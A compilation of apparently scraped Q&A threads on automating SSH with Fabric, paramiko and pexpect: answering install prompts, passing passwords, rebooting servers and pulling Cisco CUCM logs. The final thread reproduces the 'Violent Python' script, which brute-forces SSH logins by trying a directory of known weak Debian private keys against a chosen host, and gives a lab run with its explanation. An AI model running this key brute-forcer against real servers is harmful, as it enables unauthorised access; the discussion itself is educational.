I am running a Python script with Fabric which sent a bash script over remotely and execute.
The script will have to run over multiple remote servers automatically (without user interference).
But when I am installing these 2 package, there is a small complication of GUI interface prompt in the command line. This cause the bash script to 'hang', awaiting for user input to continue.
mysql-server (Prompting user for root password)
postfix (Prompting for some configuration setting)
Is there an alternative to configure the process without the GUI interface prompt in the command line?
In http://www.muhuk.com/2010/05/how-to-install-mysql-with-fabric/ it's described a solution to the installation of mysql-server, basically what you have to do is:
# password prompt
while True:
mysql_password = getpass('Please enter MySQL root password: ')
mysql_password_confirmation = getpass('Please confirm your password: ')
if mysql_password == mysql_password_confirmation:
break
else:
print "Passwords don't match"
# set the value in debconf
with settings(hide('warnings', 'running', 'stdout', 'stderr'),
warn_only=True):
if not run('dpkg-query --show mysql-server'):
sudo('echo "mysql-server-5.1 mysql-server/root_password password '
'%s" | debconf-set-selections' % mysql_password)
sudo('echo "mysql-server-5.1 mysql-server/root_password_again '
'password %s" | debconf-set-selections' % mysql_password)
Related
I'm going to ssh to the server using python and kivy in order to make an ssh tunnel. What I've done is execute this command: ssh -vND port user#my-server-ip.
import os
connect_command = "ssh -vND port user#my-server-ip"
returned_value = os.system(connect_command)
password = "something-got-from-user-input"
It is connecting correctly but the problem is that I can't enter the password when user#my-server-ip's password: prompted.
What I have done for this, is:
text = "user#my-server-ip's password:"
if (returned_value.startswith(text)):
os.system(password + "\n")
but it doesn't work.
So how can I enter the password I got from the user when it needs the password to be entered in order to connect?
Fabric not seeing the Password: prompt for remote device (Aruba Mobility Master) over SSH.
The script I wrote is using fabric2 and Python3 to login to a remote network device, and running a command to SCP a file from this device to another device. After running the SCP command the device asks for password. This prompt is visible when running over a normal SSH client, but not visible when running with fabric.
I have tested with pty=False and pty=True
The script doesn't hang like its waiting for input either. It just continues and the SCP fails with incorrect password.
The password prompt is a bit special in that it will echo back characters with stars (*) instead of not echoing anything at all.
The network device does not provide a normal bash shell. Instead its a vendor specific shell (Aruba/HPE). The device is "Aruba Mobility Master"
from invoke import Responder
scppass = Responder(
pattern=r'Password:',
response='MyPassword\n',
)
connect_kwargs = {"password": "LoginPassword"}
c = Connection(host="1.2.3.4", user="username", connect_kwargs=connect_kwargs)
# Have tried with pty=False and pty=True
c.run("copy flash: configbackup.tar.gz scp: 2.3.4.5 username /PATH/configbackup.tar.gz", pty=True, watchers=[scppass])
This is how it looks when run from an interactive SSH session
Password:*********************
Secure file copy:
Press 'q' to abort.
....
File uploaded successfully
This is the output from fabric
Secure file copy:
Press 'q' to abort.
............
Error copying file:
Permission denied: wrong username or password
Also tried with
ssh username#1.2.3.4 "copy flash: nothng scp: 2.3.4.5 user /something/asd" >out 2>err
ssh -t username#1.2.3.4 "copy flash: nothng scp: 2.3.4.5 user /something/asd" >out 2>err
Neither of these capture the "Password:" either in either the stdout or stderr file.
Essentially I wrote a script that reboots a server using python and an SSH library called paramiko. My script runs as it should, but I don't know if it is actually rebooting the server because the server is not on site in the office. Is there a way where I can print and output "proof" that the server is actually being rebooted ? I am a little new to using python to give commands to network devices using SSH.
I did actually run my code and it runs as it should, but I have not tested to see if a server is actually turning on and off.
There is no need to copy and paste all of my code, but there are two functions that are extremely important:
def connectToSSH(deviceIP, deviceUsername, devicePassword):
ssh_port = 22
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(deviceIP, ssh_port, deviceUsername, devicePassword)
time.sleep(5)
return ssh
def reboot_server(ssh):
prompt = raw_input('Are you sure you want to reboot this server ?')
if prompt.lower() == 'y' or prompt.lower() == 'n':
print('Proceeding to reboot the switch\n')
else:
print('Proceeding to exit the program\n')
sys.exit(-1)
channel = ssh.invoke_shell()
ssh.exec_command("/sbin/reboot -f > /dev/null 2>&1 &") # executes command to reboot server , is this the right command ? I found this on another stackOverflow post ?
channel.close()
print("Please wait for server to be rebooted")
I am receiving no compile errors but I want to be sure that the command:
ssh.exec_command("/sbin/reboot -f > /dev/null 2>&1 &")
is actually rebooting the server. If it is, is there a way I can print/output proof that it is being rebooted ? If so, how do I go about doing that ?
I am trying to automate to collect the logs from the Cisco Call Manager via CLI by using the from paramiko_expect import SSHClientInteraction where I am not able to send the interactive command to the server.
While trying to download the logs, it will ask information like SFTP IP address, username, password and directory which needs to send an interactive command.
whenever the code runs, it stops at the interactive command section where its not sending the command to the server because of which python script stops here. need to know is there any other way to code these requirements.
for example
Below section is interactive shell where I have to type y/xx.xx.xx.xx/22/User ID/Password/Directory but I can't do the same.
I need help here.. to send the command
+++++++++++++++++++++++++++++++++
Would you like to proceed [y/n]? y
SFTP server IP: xx.xx.xx.xx
SFTP server port [22]: 22
User ID: *****
Password: *****
Download directory: /
+++++++++++++++++++++++++++++++++
Command Line Interface is starting up, please wait ...
Welcome to the Platform Command Line Interface
VMware Installation:
4 vCPU: Intel(R) Xeon(R) Platinum 8180 CPU # 2.50GHz
Disk 1: 110GB, Partitions aligned
6144 Mbytes RAM
admin:file get activelog /syslog/AlternateSyslog
Please wait while the system is gathering files info ...
Get file: active/syslog/AlternateSyslog
done.
Sub-directories were not traversed.
Number of files affected: 5
Total size in Bytes: 23354752
Total size in Kbytes: 22807.375
Would you like to proceed [y/n]? y
SFTP server IP: xx.xx.xx.xx
SFTP server port [22]:
User ID: *****
Password: *****
Download directory: /
The authenticity of host 'xx.xx.xx.xx (xx.xx.xx.xx)' can't be established.
Are you sure you want to continue connecting (yes/no)? yes
.....
Transfer completed.
admin:
I am able to get the show command output but not able to download the logs.
#!/usr/bin/python
# PSFL license
# Importing SSHClientInteraction from paramiko
import paramiko
from paramiko_expect import SSHClientInteraction
import threading
# Specify connection info for each node in square brackets: ["IP ADDRESS", "USERNAME", "PASSWORD"]
connection = [["xx.xx.xx.xx", "userid", "password"]]
# Define function which is responsible for opening SSH connection and running specified commands
def cucm(ip, username, password):
sshsession = paramiko.SSHClient()
sshsession.set_missing_host_key_policy(paramiko.AutoAddPolicy())
sshsession.connect(ip, username=username, password=password)
# "display=True" is just to show you what script does in real time. While in production you can set it to False
interact = SSHClientInteraction(ssh, timeout=600, display=True)
# program will wait till session is established and CUCM returns admin prompt
interact.expect('admin:')
# program runs show status command
interact.send('show status')
# program waits for show status command to finish (this happen when CUCM returns admin prompt)
interact.except('admin:')
# program sends syslog to download the file
interact.send('file get activelog /syslog/AlternateSyslog')
if interact.last_match == 'Would you like to proceed [y/n]? ': # program matches prompted command by using if command and will send interact command to it.
interact.send('y')
if interact.last_match == 'SFTP server IP:':
interact.send('xx.xx.xx.xx')
if interact.last_match == 'SFTP server port [22]:':
interact.send('22')
if interact.last_match == 'User ID:':
interact.send('userid')
if interact.last_match == 'Password:':
interact.send('password')
if interact.last_match == 'Download directory:':
interact.send('/')
interact.expect('admin:')
output = interact.current_output_clean # program saves output of show status command to the "output" variable
sshsession.close()
# Run loop which will open separate thread for each node specified in the connection list. This targets "session" function defined at the beginning
for i in connection:
t = threading.Thread(target = cucm, args = (i[0], i[1], i[2]))
t.daemon = True
t.start()
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Below is the output for the python script.
there is no error message but it stops at Would you like to proceed [y/n]? here
Command Line Interface is starting up, please wait ...
Welcome to the Platform Command Line Interface
VMware Installation:
4 vCPU: Intel(R) Xeon(R) Platinum 8180 CPU # 2.50GHz
Disk 1: 110GB, Partitions aligned
6144 Mbytes RAM
admin:file get activelog /syslog/AlternateSyslog
Please wait while the system is gathering files info ...
Get file: active/syslog/AlternateSyslog
done.
Sub-directories were not traversed.
Number of files affected: 1
Total size in Bytes: 2261400
Total size in Kbytes: 2208.3984
Would you like to proceed [y/n]?
You could try adding the global configuration command "file prompt quiet" at the beginning of your program before any other commands are sent. This will suppress any yes/no questions and auto them to the default. Just make sure that at the end of the code you turn it back off to prevent any later nasty surprises using "file prompt alert".
This works in most Cisco IOS platforms, if the command is different in CUCM I'm sure there will be an equivalent to do the same thing.
maybe you already sorted this out, but I see, that you have there one small type, which could stop that script of moving forward:
you have there:
interact.except('admin:')
instead of:
interact.expect('admin:')
So I am reading this awesome book, "Violent Python". And in Chapter 2 there is a Python script that uses private keys to authenticate to a Debian machine or possibly any machine running an SSH server that has users on it without strong private keys. Below is the script:
#! /usr/bin/env python
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + \
'#' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied, \
ssh_newkey, conn_closed, '$', '#',])
if ret == 2:
print '[-] Adding Host to ~/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog -H ' + \
'<target host> -u <user> -d <directory>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-d', dest='passDir', type='string', \
help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print parser.usage
exit(0)
for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: '+ \
'Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect, \
args=(user, host, fullpath, True))
child = t.start()
if __name__ == '__main__':
main()
The weird thing is when I run this on my internal LAN against a copy of Kali, that is based on Debian, the Python script prints that it has found some vulnerable private keys. I am not sure why it finds several vulnerable keys though for a single user on the OS. When I run the script I specify 1) a host, 2) a username, and 3) a directory full of private keys generated by HD Moore. I had to use the wayback machine to obtain the RSA private keys he generated for the 2048 strength asymmetric algorithm.
Example output:
[-] Testing keyfile rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
[+] Success. rsa/2048/.DS_Store
[+] Success. rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[*] Exiting: Key Found.
[+] Success. rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[+] Success. rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
Anyways, why does the script say it found numerous private keys for my username on my Debian Kali virtual machine (VM)? I tried to log in with the apparently vulnerable private key with the ssh -irsa/2048/0002d5af29276c95a49dc2ab3b506707-23747 root#192.168.1.11 -o PasswordAuthentication=no command but it did not work. Why does it not work? Is the Python script not actually doing what it says it is doing? X-Ray Glasses anyone? Let me go on...
Then I checked the /var/log/auth.log on my Debian Kali VM and it has some interesting and mysterious entries. The log says, Public key <Hexadecimal colon separated key> from <IP> blacklisted (see ssh-vulnkey(1))
I read the man page for the ssh-vulnkey on the Debian Kali OS and found out that this program could find vulnerable keys on a computer. I tried running this with the -v verbose option and saw that some keys are apparently vulnerable, though I do not understand what the f key is going on.
Does anyone have an easy to understand explanation about 1) why the script returns results that it successfully found a key(s) and 2) what the blacklisted auth.log message means? Also, 3) if it found a vulnerable key why can I not use said key to log into my computer?
Also, should this be moved to information-security?
Wicked Python script by:
O'Connor, TJ (2012-12-28). Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers. Elsevier Science. Kindle Edition.
As far as I can tell the script just iterates through the directory and tries to use them as keys to connect to the given SSH server. This is done in threads, so the order of your output is not deterministic. Since we check if the global Stop flag is True before starting new threads it may happen that not all files are checked because one earlier thread already finished successfully and set the flag. This is why it reports that it found a key.
Your SSH daemon blacklists weak keys that were generated by a broken version of OpenSSL. This is a good thing and you can read about it here. That is also why you can't login.
ssh automatically falls back to looking for valid keys in your configuration directory. So the connection does actually succeed, but your command line argument is ignored. Try running the command with -vvv and observe the output:
$ ssh user#host -i not-a-key -o PasswordAuthentication=no -vvv
[...]
debug1: identity file /path/to/not-a-key type -1
[...]